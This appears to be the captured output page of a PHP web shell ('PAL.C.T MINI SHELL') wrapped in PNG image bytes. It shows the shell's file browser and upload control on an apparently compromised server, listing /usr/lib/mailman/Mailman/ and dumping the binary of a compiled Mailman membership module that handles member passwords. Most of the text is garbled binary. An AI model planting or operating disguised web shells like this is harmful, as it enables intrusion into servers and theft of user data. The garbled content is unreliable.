php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/OldStyleMemberships.pyo

Pc	@sdZddkZddklZddklZddklZddklZddklZdZ	d	Z
d
eifdYZdS(s
Old style Mailman membership adaptor.

This adaptor gets and sets member information on the MailList object given to
the constructor.  It also equates member keys and lower-cased email addresses,
i.e. KEY is LCE.

This is the adaptor used by default in Mailman 2.1.
iN(t
StringType(tmm_cfg(tUtils(tErrors(t
MemberAdaptoriitOldStyleMembershipscBs=eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZeieieieifdZdZdZdZdZddZdZdZ dZ!dZ"dZ#dZ$dZ%RS( cCs
||_dS(N(t_OldStyleMemberships__mlist(tselftmlist((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt__init__/scCs |iii|iiiS(N(Rtmemberstkeystdigest_members(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt
getMembers5scCs|iiiS(N(RR
R(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetRegularMemberKeys8scCs|iiiS(N(RRR(R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetDigestMemberKeys;scCs|i}g}|iii||}||j	o)t|to|tfS|tfSn|iii||}||j	o)t|to|tfS|tfSndS(N(NN(
tlowerRR
tgett
isinstanceRt	ISREGULARRtISDIGESTtNone(Rtmembertlcmembertmissingtval((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt__get_cp_member>s

cCs+|i|\}}|dj	odSdS(Nii(t#_OldStyleMemberships__get_cp_memberR(RRtcpaddrtwhere((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytisMemberOs
cCs<|i|\}}|djoti|n|iS(N(RRRtNotAMemberErrorR(RRRR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberKeyUs
cCs6|i|\}}|djoti|n|S(N(RRRR(RRRR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberCPAddress[s
cCs,g}|D]}||i|dq~S(Ni(R(RR
t_[1]R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberCPAddressesascCs<|iii|i}|djoti|n|S(N(Rt	passwordsRRRRR(RRtsecret((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberPasswordds
cCs%|i|}||jo|SdS(Ni(R&(RRtresponseR%((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytauthenticateMemberjs
cCs$|i|pti|ndS(N(RRR(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt__assertIsMemberpscCsI|iii|i|ii}||iijo|S|iiS(N(RtlanguageRRtpreferred_languagetGetAvailableLanguages(RRtlang((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberLanguagets
cCse|i||tijo |i|\}}|tjS|iii|id}||@S(Ni(	t$_OldStyleMemberships__assertIsMemberRtDigestsRRRtuser_optionsRR(RRtflagRRtoption((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberOption{s
cCs&|i||iii|iS(N(R/Rt	usernamesRR(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt
getMemberNames
cCs)|i||iii|igS(N(R/Rttopics_userinterestRR(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetMemberTopicss
cCs6|i||iii|itidfdS(Ni(R/Rtdelivery_statusRRRtENABLED(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetDeliveryStatuss
	cCs6|i||iii|itidfdS(Nii(R/RR9RRRR:(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetDeliveryStatusChangeTimes
	cCs?g}|iD]'}|i||jo||qq~S(N(R
R;(RtstatusR"R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetDeliveryStatusMembersscCs1g}|iiiD]}||iq~S(N(Rtbounce_infoRR(RR"R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytgetBouncingMembersscCs&|i||iii|iS(N(R/RR?RR(RR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt
getBounceInfos
cKs|i|oti|nd}ti}|ii}d}|ido|d}|d=n|ido|d}|d=n|ido|d}|d=n|ido|d}|d=n|ot	|i
nti||ijo
d}n|}|i}|o||ii
|<n||ii|<|i|||i|||o|i||n|iio|ii|ii|<ndS(NitdigesttpasswordR*trealname(RRtMMAlreadyAMemberRtMakeRandomPasswordRR+Rthas_keyt
ValueErrorRtLCDomainRRR
tsetMemberPasswordtsetMemberLanguaget
setMemberNametnew_member_optionsR1(RRtkwsRBRCR*RDtvalue((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytaddNewMembersB





c	Cs[|i||i}x;d
D]3}t|i|}|i|o||=q q WdS(NR$R1R
RR*R7R5R?R9(	s	passwordssuser_optionssmemberssdigest_membersslanguagestopics_userinterests	usernamessbounce_infosdelivery_status(R/RtgetattrRRG(RRt	memberkeytattrtdict((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytremoveMembers
ic
CsJ|i||i}|i|}|iii|d}|i|ti}|ii	i|t
i}|i|}	|ii
i|itidf}
|p|i|n|i|d|d|d|d|	|o||ii|i<n|
dtitifjo"|o|
|ii
|i<ndS(NiRDRBRCR*(R/RR6RR1RR4RR0R$RRFR.R9RR:RURPtBYUSERtBYADMIN(RRt
newaddresstnodeleteRRtfullnametflagstdigestspRCR-tdelivery((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytchangeMemberAddresss&

cCs'|i|||ii|i<dS(N(R/RR$R(RRRRC((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyRJs
cCs'|i|||ii|i<dS(N(R/RR*R(RRRR*((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyRK
s
cCs|i||i}|tijoe|o|iip
tin|iii	|oti
|n|iii|}|djoti|n|ii|=||ii|<|iii	|o|ii|=qn|iip
tin|iii	|oti|n|iii|}|djoti|n|ii|=||ii|<||ii|<dS|iii|d|o|ii|c|O<n|ii|c|M<|ii|p|ii|=ndS(Ni(R/RRR0Rt
digestableRtCantDigestErrorRRGtAlreadyReceivingDigestsR
RRRtone_last_digestt
nondigestabletMustDigestErrort!AlreadyReceivingRegularDeliveriesR1t
setdefault(RRR2RORRtcpuser((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytsetMemberOptions@








cCs'|i|||ii|i<dS(N(R/RR5R(RRRD((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyRLLs
cCs_|i||i}|o||ii|<n(|iii|o|ii|=ndS(N(R/RRR7RG(RRttopicsRR((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytsetMemberTopicsQs
cCs]|i||i}|tijo|i|dn|tif|ii|<dS(N(	R/RRR:t
setBounceInfoRttimeRR9(RRR=((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pytsetDeliveryStatus[s

cCs|i||i}|djoR|iii|o|ii|=n|iii|o|ii|=qn||ii|<dS(N(R/RRRR?RGR9(RRtinfo((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyRkhs

(&t__name__t
__module__R	R
RRRRR R!R#R&R(R/R.R4R6R8R;R<RtUNKNOWNRVRWtBYBOUNCER>R@RARPRUR^RJRKRhRLRjRmRk(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyR.sD																					/				:		
	
(t__doc__RlttypesRtMailmanRRRRRRR(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/OldStyleMemberships.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`